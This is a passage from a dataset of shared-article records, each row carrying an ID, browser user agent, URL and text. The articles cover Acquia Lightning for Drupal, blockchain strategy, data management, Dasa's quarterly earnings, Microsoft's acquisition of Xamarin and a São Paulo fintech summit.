Workflow: Configure content workflows to streamline review and ensure editorial quality and add governance and control for publishing Experience Preview: Conduct a comprehensive review before publishing content, campaigns, and cross-channel experiences Agencies use Acquia Lightning as the starting point for Drupal 8 projects. It provides a ready best practice for launching new initiatives, reduces complexity and speeds time to market. ""Acquia Lightning establishes an industry-standard starting point for Drupal 8 projects and solves many of the most common early challenges in any Drupal development projects,"" said Karl Kedrovsky, solutions architect, VML . ""Using Lightning allows us to build the basics fast and focus on the work that will differentiate our project and drive value for our clients."" Software architect Mike Potter of Phase2 said, ""Phase2 uses Lightning to make our client's Drupal 8 projects more efficient and it allow us to focus our resources on custom features key to the client's success."" Acquia Lightning brings together key modules that together support the four functional areas of layout, media management, content workflow, and experience preview. Members of the Drupal community build and maintain the modules that extend core Drupal functionality. Several Lightning modules were developed under the support of Acquia's Module Acceleration Program , which coordinates and funds initiatives to accelerate development across the Drupal 8 ecosystem. Lightning is the most installed Drupal 8 distribution, according to Drupal.org . ""With Lightning, Acquia has done the work of providing a tightly integrated distribution that conforms to security best practices, enabling organizations to move faster in developing new applications on Drupal 8,"" said Chris Stone, chief product officer, Acquia. ""Developers can create powerful, easy-to-use publishing tools for their editorial and content teams, with drag and drop layouts, media management, configurable workflows and preview capabilities that make digital experience delivery come together. Hundreds of sites are already using Acquia Lightning, and we estimate Lightning removes 20 percent of the time required for every new Drupal 8 development project."" Learn more about Acquia Lightning at www.acquia.com/lightning , view the recorded webinar, "" Lightning Distribution for Drupal ,"" co-presented by Acquia's John Kennedy and Adam Balsam , and follow the latest development news from Acquia at dev.acquia.com. Get started with Lightning today with Acquia Cloud Free . Acquia Lightning is also available for download from Drupal.org , GitHub , or as part of a Composer-based installer . About Acquia Acquia is the digital experience company. The BBC, Cisco, Stanford University, and the Australian Government are among the more than 4,000 organizations that are transforming their digital businesses with Acquia's open cloud platform. Global 2000 enterprises, government agencies and NGOs rely on Acquia to create new revenue streams, lower costs, and engage audiences more deeply through content, community, commerce, and context.",en
1478641166,CONTENT SHARED,3399073250354435892,3891637997717104548,1794946588429108409,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://lightning.acquia.com/blog/introducing-workspace-preview-system,Introducing the Workspace Preview System | Acquia Lightning,"It's here! The Workspace Preview System (WPS) gives site builders, editors, authors, and reviewers the ability to send collections of content through an editorial workflow and preview that content within the context of the current live site. WPS is a collection of contributed Drupal modules with additional configuration and UX improvements that all just works out of the box.",en
1478641173,CONTENT REMOVED,3399073250354435892,3891637997717104548,1794946588429108409,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://lightning.acquia.com/blog/introducing-workspace-preview-system,Introducing the Workspace Preview System | Acquia Lightning,"It's here! The Workspace Preview System (WPS) gives site builders, editors, authors, and reviewers the ability to send collections of content through an editorial workflow and preview that content within the context of the current live site. WPS is a collection of contributed Drupal modules with additional configuration and UX improvements that all just works out of the box.",en
1478691949,CONTENT SHARED,4717008760225392411,8420481937548705787,8623399879209252979,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://cio.com.br/tecnologia/2016/11/07/que-novas-oportunidades-poderemos-criar-com-blockchain/,Que novas oportunidades poderemos criar com Blockchain? - CIO,"Venho observando uma crescente curiosidade de executivos e profissionais de TI sobre Blockchain. Entretanto, pelo desconhecimento e desinformação sobre o assunto, ainda existe um grande receio por parte deles de darem um mergulho mais fundo na tecnologia e na descoberta de seus potenciais usos. Blockchain muitas vezes é simplificado como uma mera tecnologia de banco de dados distribuído, com a diferença das informações serem gravadas em blocos que estão ligados entre si por meio de ""nós"", garantidos através de criptografia, com o objetivo de se certificar que são à prova de fraudes. Mas, e se pensarmos além da caixa, nem mesmo usando a caixa como referência? Será que Blockchain é apenas uma tecnologia que nos permite melhorar, incrementalmente, a eficiência de processos? Ou podemos ir além? Como disse Mike Schwartz, líder do Blockchain Technologies Lab da BCG, em uma recente palestra no TED, intitulada "" The potential of blockchain "", ""vez ou outra, uma tecnologia realmente revolucionária surge e sempre nos leva a lugares que nunca imaginamos. Vimos esse cenário com o motor a combustão, o telefone, os computadores e, é claro, com a Internet. E agora, mais uma dessas revoluções está prestes a nos transformar - e ela é a tecnologia de Blockchain"". Agora pense em outra frase de Mike Schwartz: ""Blockchain pode comoditizar a confiança, como a Internet comoditizou as comunicações"". Isso não afetaria de forma dramática os negócios que foram construídos para garantir confiança nas transações entre pessoas e empresas estranhas umas às outras? Blockchain é real e está acontecendo. Estamos ainda no início da curva de aprendizado, e a implementação de uma aplicação utilizando Blockchain ainda é tecnicamente complexa, pois existem poucas tecnologias, padrões e frameworks disponíveis realmente maduros. Algumas ações colaborativas, de open source começam a ganhar força, como o Hyperledger , projeto da The Linux Foundation que reúne nomes de peso como Intel, IBM, Hitachi, Accenture, JP Morgan, CME Group e Deutsche Börse, entre outras, e consórcio R3 , constituído por 60 instituições da indústria financeira como BBVA, Barclays, CreditSuisse, Santander, Morgan Stanley, e recentemente bancos brasileiros aderiram como o Itaú e o Bradesco, além empresas de tecnologia, com o objetivo de desenvolver aplicações comerciais baseadas na tecnologia. A bolsa brasileira BM&FBOVESPA, inclusive, foi a primeira bolsa de valores do mundo a entrar no programa . Provavelmente, com os investimentos dessas empresas, o ciclo de amadurecimento deve se acelerar e podemos estimar que por volta de 2018-2020 a tecnologia estará razoavelmente madura para ser utilizada em ampla escala. Enquanto isso, o que podemos fazer? Vivemos um período de profundas e dramáticas transformações provocadas pela exponencialidade da revolução tecnológica, e obviamente não podemos ignorar tecnologias que podem afetar a maneira como negócios atuais operam. Como no início da Internet, muitas iniciativas fracassaram, mas surgiram negócios inimagináveis há 20 anos como Amazon, Google, Facebook, Waze, Uber, Airbnb e centenas de outros. Portanto, a decisão não pode ser ignorar Blockchain, mas definir se a estratégia da empresa será mais ou menos conservadora quanto à sua adoção. Não existe resposta única. Uma visão inovadora explora a possibilidade de criar novos negócios, afinal a frase do escritor americano Mark Twain é clara ""o passarinho que acorda cedo é o que pega a minhoca"". Por outro lado, uma atitude mais conservadora pode ter seus apelos. Muitas vezes o segundo rato é que come o queijo! A resposta vai depender da visão de cada empresa e de sua liderança, setor de negócios, atitude em relação à riscos, etc. Independente da velocidade, creio que podemos explorar dois caminhos para uma estratégia de implementação de Blockchain: criar experimentações internamente, com um ""Blockchain lab"", mais focado em mudanças incrementais, ou criando e acelerando startups, com maior ênfase na disrupção do próprio negócio. O processo de criar e acelerar startups permite que se crie negócios a partir do zero, sem as limitações dos pensamentos já arraigados nos processos e operações internas. E, claro, existem composições variáveis entre esses dois extremos. Uma estratégia para startups é a utilização de ""Corporate Ventures"" com a empresa identificando e acelerando startups focadas em objetivos bem definidos, como a reinvenção do próprio negócio através de Blockchain. Mas, qualquer que seja o caminho adotado, o processo de grandes corporações usarem Blockchain, seja para transformarem processos, seja para reinventarem-se a si mesma, não acontecerá de um dia para o outro. Pensemos em um grande banco. Os interfaces digitais com seus clientes podem ser comparados a visão que temos de um iceberg. É a parte visível, acima da superfície do oceano. Mas, como mais de 90% do volume do iceberg está debaixo da superfície, também a imensa maioria dos processos de backoffice do banco estão fora das vistas dos clientes, mas operados por milhares de processos, sistemas e dezenas de milhares de profissionais. Se a tecnologia Blockchain eliminar grande parte dessa complexidade, o banco como o iceberg vai continuar existindo, mas será visto de outra forma. Imaginem como ficaria um iceberg quando elimina-se a maior parte de seu volume submerso. Teria outra aparência na superfície. O mesmo seria o banco. Diferente e talvez irreconhecível aos nossos olhos de hoje. Comecemos a explorar um ""Blockchain lab"". Antes de mais nada é essencial que seja visto como uma estratégia da corporação e não como uma simples experimentação tecnológica. Que isso significa? Que sem patrocínio da alta administração (preferencialmente o CEO) e, claro, budget adequado, não se chegará a lugar nenhum. O ""Blockchain lab"" deve ter metas e objetivos mensuráveis. Deve ter uma organização que envolva profissionais do negócio e de tecnologia, eventualmente com apoio de pessoal externo. Deve ter um road map de projetos que analise e identifique os casos de uso mais adequados, e suas estratégias de implementação e incorporação ao negócio. Isso significa sair do mundo mais simplista das POCs para o mundo real, transformando processos internos. O lab deve ser o balão de ensaio para validar tecnologias, frameworks, plataformas dos fornecedores e modelos de desenvolvimento de aplicações Blockchain. Existe hoje uma escassez de talentos, mas buscas por casos mundiais sempre ajuda. Por exemplo, um paper interessante, embora básico, sobre como construir aplicações de smarter contracts é "" Step by Step Towards Creating a Safe Smart Contract: Lessons and Insights from a Cryptocurrency Lab "". Uma iniciativa Blockchain começa com a liderança acreditando no potencial de disrupção ao seu negócio. O primeiro passo para isso é educação, disseminar o conhecimento do que é e da potencialidade do Blockchain para os executivos. A partir daí, identificar as áreas de oportunidades de aplicação de Blockchain na empresa. Blockchain é 80% processos de negócios e 20% tecnologia. Uma pergunta chave é "" que problemas Blockchain pode resolver?"". Como respostas podemos ter aplicações de impacto imediato na redução de custos, aumento da eficiência de processos, maior velocidade nas transações, eliminando tarefas, redução de fraudes e assim por diante. Esses, por exemplo, são os focos de interesse atual dos bancos. Mas, não se limite a isso. Pergunte também "" que novas oportunidades poderemos criar com Blockchain""? É mais difícil, pois muitas vezes obriga a começar com um papel em branco. Caminhar nessa direção é mais fácil com startups fora das restrições dos pensamentos internos. Podem surgir propostas provocativas e disruptivas, que à primeira vista serão encardas como heresia. E serão heréticas mesmo! Esse cenário pode apontar para criação de novos produtos e mesmo novos negócios, entrada em novos mercados, atrair novos clientes, e, claro, requer imaginação não limitada pelo modelo de negócio atual. Essa frase de Einstein se encaixa perfeitamente bem aqui: "" Imagination is more important than knowledge. For knowledge is limited to all we now know and understand, while imagination embraces the entire world "". A jornada está apenas começando. Os desafios são grandes, temos muita coisa para aprender, muitas chances para errar. Hoje Blockchain, apesar de ser real, está com um hype excessivo. Ainda vamos descobrir que tem muita coisa pela frente, muitas desilusões. Mas, as empresas que não ficarem inertes, terão uma indiscutível vantagem competitiva. A lista das oportunidades que vemos com Blockchain, em experimentos promissores, é enorme. Um exemplo? Rastreamento de diamantes, como proposto pela Everledger . E num futuro, não muito distante, em que essa tecnologia esteja mais conhecida e popularizada, todo setor de negócios deve se beneficiar dela. É realmente algo para pensar!",pt
1478694527,CONTENT SHARED,-1511619461666295654,-5639303336519418445,1385775744342330342,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.devmedia.com.br/gestao-de-dados-10-questoes-basicas-sobre-seu-uso/30076,Gestão de Dados: 10 questões básicas sobre seu uso,"1 – Afinal, qual o termo correto: Gestão de Dados ou Gestão da Informação? A Gestão de Dados é uma disciplina em ascensão no Brasil. Sua missão é zelar da melhor forma possível, através de seus profissionais, metodologias, processos e ferramentas os dados das empresas para que os mesmos tenham condições de serem transformados em sabedoria empresarial. Quando falamos sobre "" dados "", na verdade estamos nos referindo à matéria prima de uma cadeia (dado - informação – conhecimento – sabedoria). A evolução desta cadeia é fundamental para conseguir o que todas as empresas desejam: transformar dados em informações confiáveis e utilizá-las como fonte de conhecimento para tomar decisões com sabedoria. A Figura 1 a seguir mostra a evolução desta cadeia. Figura 1 . Cadeia de Evolução dos Dados Sem uma gestão efetiva dos dados, a evolução desta cadeia não é atingida, portanto, para atingir os objetivos é fundamental a disciplina atuar nos estágios iniciais da cadeia. Por esta razão o nome da disciplina é Gestão de Dados e não Gestão das Informações ou Gestão do Conhecimento. Porém, valem ressaltar que, dependendo do nível da maturidade da empresa, as ações de gestão para a evolução da cadeia podem se estabelecer em outros níveis. 2 – A preocupação em gerir os dados das empresas é algo novo? Na verdade não. Esta preocupação já existe há longa data. Este esforço já foi atribuído no passado à disciplina Administração de Dados (AD), porém na época, vários erros foram cometidos na adoção desta disciplina e a Administração de Dados ficou limitada às atividades ligadas à modelagem de dados. Vale ressaltar que essas atividades ainda são muito importantes, porém sozinhas não são suficientes para uma ""Gestão"" por completo dos dados das empresas. Um fato curioso é que esse fenômeno ocorreu tanto aqui no Brasil quanto fora, em países considerados mais maduros. Se por exemplo, fizermos uma pesquisa no site da amazon.com sobre livros ligados ao assunto "" Data Administration "". Vocês poderão reparar que irão aparecer algumas publicações sobre o assunto, porém todas são antigas e já foram descontinuadas. Se mudarmos o conteúdo da pesquisa para ""Data Management"" teremos um resultado mais atualizado. 3 Enfim, tanto aqui no Brasil quanto no exterior o nome Administração de Dados "" micou "", porém os objetivos das disciplinas são praticamente os mesmos, porém agora são alcançados de forma mais completa. 3 – Quais as premissas da Gestão de Dados? Com o ressurgimento da Gestão de Dados, os cuidados em não repetir os erros do passado se tornaram premissas fundamentais para o sucesso da disciplina, entre as quais podemos destacar: A responsabilidade pela gestão dos dados não é mais uma exclusividade das áreas de Tecnologia da Informação (TI). Agora esta gestão é compartilhada entre as áreas de TI e demais áreas de negócio nas empresas. O dado é considerado um ativo de valor precioso nas empresas, porém os dados não são o único ativo importante. Além dos dados, pessoas e recursos financeiros também são fundamentais para a eficiência das empresas. O dado é gerido em todo o seu ciclo de vida, principalmente quando ele está inserido nas operações de negócio e não mais apenas no ciclo de vida do desenvolvimento dos sistemas. Dados só geram valor para a empresa quando disponibilizados para utilização nas áreas de negócio. Enquanto suas estruturas são construídas, gera-se apenas custo de desenvolvimento. A Gestão de Dados deve acompanhar o mesmo ritmo de evolução dos negócios e da tecnologia. O escopo de atuação da gestão de dados é bem abrangente. Segundo a versão atual do guia DAMA-DMBOK® esta atuação envolve dez funções integradas. 4 - Quais as funções relacionadas à gestão de dados? O guia DAMA-DMBOK® recomenda em seu framework um conjunto integrado de dez funções de gestão de dados, são elas: Governança de Dados – função responsável por representar o exercício de autoridade e controle das estratégias, políticas, papéis e atividades envolvidos com os ativos de dados das empresas. Gestão da Arquitetura de Dados – função responsável por definir as necessidades de dados e alinhar os mesmos com a estratégia de negócio da empresa. Gestão do Desenvolvimento dos Dados – função responsável pelas atividades de modelagem e implementação das estruturas dos dados dentro do ciclo de vida do desenvolvimento dos sistemas de informação. Gestão de Operações de Dados – função responsável por manter armazenados os dados ao longo do seu ciclo de vida. Gestão da Segurança dos Dados – função responsável por definir e manter as políticas de segurança da informação da empresa. Gestão de Dados Mestres e Dados de Referência – função responsável por definir e controlar atividades para garantir a consistência e disponibilização de visões únicas dos principais dados reutilizados na empresa. Gestão de Data Warehousing e Business Intelligence: função responsável por definir e controlar processos para prover dados de suporte à decisão, geralmente disponibilizados em aplicações analíticas. Gestão da Documentação e Conteúdo: função dedicada a planejar, implementar e controlar atividades para armazenar, proteger e acessar os dados não estruturados das empresas. Gestão de Metadados: Os metadados representam o significado dos dados. Estes significados correspondem tanto ao conteúdo técnico do dado, obtido através das informações sobre estrutura, formato, tamanho e restrições como a informações sobre definições e conceitos. Gestão da Qualidade dos Dados : função responsável por promover, medir, avaliar, melhorar e garantir a qualidade dos dados da empresa. 5 – Qual a diferença entre Gestão de Dados e Governança de Dados? Esta pergunta é muito comum para as pessoas que começam a ter contato com a Gestão de Dados. Conforme dito anteriormente, segundo a versão atual do guia DAMA-DMBOK®, a Gestão de Dados é uma disciplina formada pelo conjunto de dez funções de gerenciamento de dados integradas. A integração dessas funções é feita pela função de Governança de Dados, por esta razão ela está localizada como elemento central do framework do DAMA-DMBOK®. A Figura 2 a seguir demonstra as dez funções do guia DAMA-DMBOK®. Figura 2 . Funções do DAMA-DMBOK A função de governança de dados guia como todas as outras funções da gestão de dados são realizadas, estabelecendo o exercício de direitos de decisão para otimizar, proteger e influenciar os dados como um ativo da empresa. Envolve ainda a ""orquestração"" de pessoas, processos, estratégias, políticas e tecnologias ligadas aos dados da empresa. Resumo da ópera: A função Governança de Dados define e acompanha o funcionamento das demais funções de Gestão de Dados. Sem ela não há Gestão de Dados. Por esta razão considero a Governança de Dados a principal função da Gestão de Dados. 6 - Quais os principais ganhos de uma gestão de dados eficiente? A Gestão de Dados gera vantagem competitiva para as empresas? Apesar de a maioria dos benefícios serem diferentes em cada empresa, alguns poucos ainda são comuns à maioria. Entre eles posso destacar: Melhor alinhamento entre as áreas de tecnologia e de negócio. Conhecimento dos dados utilizados na empresa através da adoção de um vocabulário único sobre as definições dos dados que circulam na empresa. Entendimento das principais necessidades de dados e informações da empresa, fornecendo um importante subsídio para estabelecer o planejamento para absorção, criação e/ou transformação de novos dados e informações. Melhoria na qualidade e confiabilidade dos dados e informações através do uso de dados cada vez mais claros, precisos, íntegros, integrados, pertinentes e oportunos. Criação da cultura do uso de indicadores de processo e qualidade dos dados . Reutilização de dados considerados corporativos, contribuindo dessa forma para a melhoria da qualidade dos dados e também reduzindo os esforços, tempos e custos do desenvolvimento de novas aplicações. Redução dos riscos e falhas no desenvolvimento dos sistemas e aplicações. Eliminação ou redução drástica na quantidade de informações redundantes, contribuindo para reduzir os esforços em manter íntegras as informações que antes eram redundantes. Estabelecimento de mecanismos formais de segurança, acesso e disponibilização de dados e informações a quem realmente necessita. Aumento da produtividade das pessoas que utilizam os dados e as informações. Enfim, todos os benefícios citados acima resultam em vantagens competitivas. 7 - Quais perfis profissionais são necessários para promover a Gestão de Dados nas empresas? A Gestão de Dados trouxe a necessidade de novos perfis profissionais para atingir os seus objetivos. O Executivo de Gestão de Dados, também conhecido como CDO (Chief Data Officer), atua na esfera executiva das empresas, promovendo as iniciativas de gestão de dados e dando o suporte gerencial necessário as equipes que desenvolvem este trabalho de gestão. O Gestor de Dados de Negócio, também conhecido como Data Steward, é um profissional que executa a gestão dos dados dentro das áreas de negócio da empresa, representando os interesses dos consumidores dos dados, e não mais somente os interesses da TI. Vale ressaltar que empresas de grande porte, com vários segmentos de negócio específicos, requerem gestores de dados especialistas em cada um dos seus segmentos de negócio. O Gestor de Dados Estratégico é uma espécie de ""Super Data Steward"". Este profissional é responsável por liderar as iniciativas de gestão e governança de dados corporativa na empresa e promover o alinhamento (consenso) entre a TI e todas as demais áreas de negócio. O Gestor Técnico de Dados é um perfil resultante da evolução do antigo Administrador de Dados. Este profissional atua dentro da área de TI da empresa, porém sua atuação e conhecimento, atualmente, são muito mais amplos. O Gestor Técnico de Dados está envolvido nas diversas funções de dados e não mais apenas nas funções ligadas a modelagem de dados e gestão de modelos de dados. 8 - O que considerar na escolha de um funcionário? Qual a formação do profissional para o setor? Na hora de selecionar, devemos levar em consideração três aspectos: Habilidades comportamentais: De forma geral, o profissional de Gestão de Dados precisa ser capaz de se relacionar bem com pessoas de diferentes formações, estilos e mentalidades, especialmente na medida em que é sua função ""fazer a ligação"" entre as diversas áreas de negócio e as áreas de tecnologia. Precisa saber ouvir, ser capaz de compreender a comunicação não verbal, distinguir necessidades de desejos, negociar, assumir riscos e compromissos. Além disso, precisa ter pensamento sistêmico, de modo a prever as interações entre o que está sendo proposto e as demais necessidades da empresa. Atualmente, não há mais espaço no mercado para profissionais acostumados ao modelo de trabalho do passado, onde a comunicação era feita apenas entre o Administrador de Dados e as equipes de desenvolvimento de sistemas. Habilidades em Gestão de Dados: – ligadas ao conhecimento das funções de gerenciamento de dados previstas no guia DAMA-DMBOK®. A certificação CDMP (Certified Data Management Professional) promovida pela DAMA International pode ser um bom comprovante para esta habilidade. Neste ano, a DAMA começou a aplicar os primeiros exames de certificação no Brasil e alguns profissionais já obtiveram esta credencial. A expectativa é que o número de profissionais certificados comece a crescer exponencialmente a parti de 2014. Conhecimento do Negócio: Ao conhecer em profundidade as áreas de negócio em que atua, o profissional de Gestão de Dados é capaz de entender os objetivos estratégicos da empresa, identificar rapidamente as necessidades dos clientes, mesmo quanto elas não são claramente articuladas. 9 - O que é mais viável: fazer a gestão dos dados com recursos internos ou contratar empresas especializadas? Atualmente, existem poucos profissionais de Gestão de Dados disponíveis e formados no mercado. De forma geral, as empresas estão formando seus profissionais para atuarem na operação dessas atividades. As empresas especializadas nas funções de Gestão de Dados têm apoiado essas iniciativas fornecendo serviços de consultoria para implantação da Gestão de Dados nas empresas. As considerações para a escolha das empresas devem ser focadas na avaliação do histórico da empresa e seus profissionais no mercado, projetos já implantados, casos de sucesso (e insucesso), filosofia da empresa, saúde financeira, parceiros de negócio, e cumprimento de acordos de confidencialidade. 10 – A Gestão de Dados é mais uma moda ou veio realmente para ficar? Pessoas mal informadas podem correr o risco de ver a Gestão de Dados como mais um modismo proposto, porém elas estão enganadas, pois no fundo a Gestão de Dados não propõe nada revolucionário e novo. Os objetivos da Gestão de Dados já existem há mais de duas décadas, porém somente agora, com uma disciplina estruturada, apoiada por um guia de referência, a conquista desses objetivos se tornou algo viável. A disciplina estabelece uma gestão com responsabilidades compartilhadas, como forma de quebrar paradigmas nas empresas que estavam acostumadas em destinar pouco tempo para planejar e sempre ter recursos suficientes para refazer ou consertar as aplicações que armazenam e consomem os seus dados. Os tempos mudaram. As empresas que perceberem esta realidade irão se destacar das demais. Este artigo procurou esclarecer as principais dúvidas das pessoas que iniciaram o contato com a disciplina da Gestão de Dados. A seleção dessas questões foi baseada no convívio com os meus alunos, clientes e leitores do meu livro – Gestão e Governança de Dados. Espero que tenham gostado da leitura. Muito obrigado e até o próximo artigo!",pt
1478697562,CONTENT SHARED,-8677396111092711799,-2820994773540913369,3062039221977474310,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.valor.com.br/empresas/4770327/dasa-multiplica-lucro-em-6-vezes-no-terceiro-trimestre,Dasa multiplica lucro em 6 vezes no terceiro trimestre,"SÃO PAUL - A companhia de medicina diagnóstica Diagnósticos da América (Dasa) registrou um lucro líquido de R$ 60,5 milhões no terceiro trimestre, multiplicando em mais de seis vezes os ganhos de R$ 9,6 milhões do mesmo intervalo de 2015. No trimestre, a companhia teve uma alta nas receitas de 9,1%, somando R$ 794,4 milhões. Ao mesmo tempo, os custos recuaram 0,9%, levando a um aumento de 34,8% no lucro bruto, a R$ 274,5 milhões. As despesas avançaram a um patamar baixo, de 1,2%, levando o lucro operacional a mais do que dobrar, somando R$ 123 milhões. O lucro antes de juros, impostos, depreciação e amortização (Ebitda, na sigla em inglês) cresceu 70,7%, para R$ 175,5 milhões.",pt
1478709667,CONTENT SHARED,-9152398073968262186,-7496361692498935601,-8980862317671556394,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.forbes.com/sites/adrianbridgwater/2016/11/08/microsoft-is-now-open-by-default-says-xamarin-founder-miguel-de-icaza/,"Microsoft Is Now 'Open By Default', Says Xamarin Founder Miguel de Icaza","What's it like to produce an open source product designed to extend Microsoft's .NET software framework outside of Windows onto other platforms, only to one day find out that Microsoft had embraced open source and wanted to buy your firm and its programming project? Mexico born programmer Miguel de Icaza appears to be quite happy about the way things have gone. After starting the Xamarin, Mono and GNOME projects to specifically create cross-platform interoperability, de Icaza can now list himself as a card carrying Redmond employee after his firm was acquired by Microsoft in February of 2016. As reported previously on Forbes , software developers can write what would be a Windows application, using Microsoft's .NET programing framework and languages... and then use Xamarin technology to reuse that code across multiple platforms - meaning, in effect and actuality that they can turn the Windows application into a 'native' application for iPhones, iPads and Android devices. In line with many of its other major strategic moves towards so-called 'open extensibility' , Microsoft has made the Xamarin Software Development Kit (SDK) open source and now bundles it as a free 'tool' within Microsoft Visual Studio's Integrated Development Environment (IDE), which in itself is a whole toolkit of [coding] tools for creating software. The longest job application, ever ""I started an open source company which worked to create what eventually became a closed project with Xamarin... only to then be acquired and taken open source by a traditionally closed source company,"" said de Icaza. Joking at last year's Microsoft Build conference, de Icaza described the experience as, ""The longest job application process I have ever been through!"" Speaking to de Icaza in person, he explained that his team started the Xamarin project to bring .NET to different platforms, but it was a very different Microsoft in those days. Microsoft is now open by default ""There was no story at Microsoft for other platforms back in the day. But the world is full of heterogeneous connections now and I think Scott Guthrie [now Microsoft's lead on Azure cloud platform] helped drive a lot of the openness. Microsoft is now open by default and you actually have to make a case on a team/peer review level if you feel something needs to be closed,"" said de Icaza. Of course Microsoft bought Xamarin to help bolster its mobile business (a key aspect and strength of Xamarin) as well as Microsoft's 'Universal Windows Platform' ( UWP ) technology ideals, where one application delivers the same users experience across different devices. But with Xamarin, it's not just across different devices; it's also across different platforms. Detailing the whole 'welcome to the family' process of getting into Microsoft, de Icaza says that it has been a one-brick-at-a-time process because the teams realized they could not do everything at once. App development now 'front end', cloud at rear ""When you look at how our software developers are building mobile applications, the apps themselves (and the tasks required to build them) have moved to being more front end, rather than back end,"" explained de Icaza. ""At the back end we find infrastructure layers that look after areas like storage protocols and so on. Every mobile app now has some kind of identity system and developers used to have to build that part on their own (to deal with permissions in terms of different code objects and so on)... and all that had to be reinvented over and over in each case. Today these things are handled by the Azure cloud platform and its cognitive services."" If you think about the mobile applications that reside on our phones, not everyone is going to have the same version of an app at any one time. If you have multiple versions of your app 'out in the wild' on people's smartphones and mobile devices, you can not always get all users to all update all of their apps at any one time. But applications and their Application Programming Interfaces (APIs) are augmented and updated all the time, so incompatibilities could result. For this reason, the more functions we can put at the back end on the cloud layer the better if we want to achieve the open extensibility dream that is. We essentially split .NET in two Outside of Microsoft and before the acquisition, de Icaza's projects saw the creation of the Xamarin and the Mono project in environments that can be descried as Microsoft .NET compatible to allow software developers to run .NET applications in cross-platform scenarios. So how did they do that? ""We essentially split .NET in two,"" explains de Icaza. ""We took the pieces that were 'platform neutral' (stuff that connects with servers etc.) and we added add-ons for iOS and other platforms."" By extracting the 'common factor' elements (the ones that would work on any platform) out of .NET's core functionality, the Mono team were able to then provide the platform-specific augmentations needed to work on other device platforms. Small wonder that the new 'open Microsoft' sought to acquire the firm. Life inside Microsoft (so far) appears to be sweet for de Icaza and team. It took his business four years to reach its first 1-million developers (associated and/or signed up to the project) - in the last six months Xamarin has added a further half a million. ""We did reach a lot of different developer demographics as a startup - and we were a well funded startup at that. But startups always come with a certain degree of risk, so there were many enterprise developer types that we could never reach. Post acquisition, that challenge just went away,"" said de Icaza. Microsoft, usually quite friendly, honest Microsoft actually has a longstanding partnership with Xamarin and had (prior to the acquisition) jointly built Xamarin integration into Visual Studio, Microsoft Azure, Office 365 and the Enterprise Mobility Suite. In addition, de Icaza says that every time his team would contact the .NET guys and girls to discuss the extensions they were making (even back in proprietary Microsoft days), that the team at Redmond were always good to work with. ""Xamarin is being adopted internally at Microsoft,"" said de Icaza. ""So we are now discussing how we can add more APIs and more capabilities as Microsoft is now passionate about accessibility to our forms and tools. By that I do mean accessibility in terms of access to software code and accessibility in terms impairment accessibilities for developers and end users alike. This latter being something that is very hard to focus on as a startup."" How does Microsoft feel so far? Well, we beneath the corporate gloss it's hard to tell. We do know that prior to climbing the tree with Xamarin and its Mono developer team (both brand names are references to monkeys), Microsoft did not have a mobile testing solution for third party software. Microsoft was also attracted by Xamarin's cross-platform application analytics functionalities. Speaking to explain what else Xamarin gets from the Microsoft Azure cloud back end, de Icaza points to areas including identity, document management and storage, cognitive services from Microsoft (so-called Scientist-as-a-Service) as well as Azure mobile services which include mechanical services to allow applications to still work offline when disconnected from web and mobile networks. Looking back, some things sound silly ""We had a natural ceiling and that is now gone,"" said de Icaza. ""If you look at some of the judgements we made when computing was so much more static than it is today, they almost sound a little silly. Can you imagine how restrictive it can be if a new feature or function is developed but that that function should only exist inside the language (or other computing environment) where it was created?"" It is surely interesting to hear about the real problems being (reportedly, in this case at least) solved for programmers when they get access to the complete Azure stack i.e. too many times we simply hear Microsoft giving us the dumbed down big picture 'cloud enablement' message. Ultimately, de Icaza's vision - and Microsoft's - is one of developers having an easier time extending the theoretically infinite power of the cloud computing model to extend software to any popular platform - iOS, Android and Windows. What is more perhaps, Microsoft and the Microsoft Xamarin team is inviting the open community to participate. So what we see here at the top level is real back end cloud mechanics helping front end software application development that is designed for cross-platform interoperability and open extensibility. Surely that's not too much to ask is it? Well, it used to be didn't it? Follow Adrian Bridgwateron Twitter",en
1478710344,CONTENT SHARED,-1606980109000976010,3609194402293569455,-4814807646196910516,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/conferencia-discutira-os-principais-temas-dentro-do-mundo-de-inovacao-em-servicos-financeiros/,Conferência discutirá principais temas dentro do mundo de inovação em serviços financeiros - Startupi,"São Paulo Receberá nessa sexta-feira (11), o Next Money SP- Fintech Summit, evento integrante da programação da São Paulo Tech Week , realizado em parceria com a Innercore Solutions e que discutirá os principais temas dentro do mundo de inovação em serviços financeiros. Cerca de vinte especialistas nacionais e internacionais falarão de assuntos como ambiente regulatório de Fintech no Brasil e no Reino, Inclusão financeira, empréstimos digitais, Blockchain, APIs e inteligência artificial e Insurtech. Dentre os destaques da programação haverão nomes como Marco Mastroeni do Banco do Brasil, Rafael Pereira da Simplic, Fábio Lacerda do Banco Central, Jonathan Whittle do fundo americano Quona Capital, Pooja Chokshi da Blockchain.com, Chetna Patel do Consulado Inglês, dentre outros. Além das rodadas de discussão, o evento também será palco da semifinal latinoamericana da competição de fintechs FF17. O vencedor irá disputar a final em Hong Kong no mês de janeiro com todas as despesas pagas. A programação do Next Money SP acontece das 8h30 às 18h30 no Auditório da Telefônica, na rua Martiniano de Carvalho, 851. Para mais informações acesse a Agenda de Eventos do Startupi .",pt
